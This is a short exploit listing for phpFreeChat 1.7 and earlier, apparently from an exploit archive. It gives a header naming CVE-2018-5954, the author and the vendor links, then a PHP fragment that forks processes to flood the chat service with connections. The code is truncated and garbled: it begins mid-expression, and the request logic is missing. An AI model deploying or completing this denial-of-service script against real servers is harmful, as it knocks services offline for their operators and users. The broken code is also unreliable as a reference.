# Exploit Title: phpFreeChat 1.7 and earlier - Denial of Service # Version: 1.7 and earlier # Date: 21/01/2018 # Vendor Homepage: http://www.phpfreechat.net # Software Link: http://www.phpfreechat.net/download # Exploit Author: A. Pakbaz # CVE : CVE-2018-5954 #################################################### 1){ $pid=pcntl_fork(); if($pid<0){ echo "\nError! Reduce the number of connections\n"; } elseif($pid) fmaker($pno-1); else runf($con_num-$pno); } elseif($pno==1) runf($con_num-1); } fmaker($con_num); ?>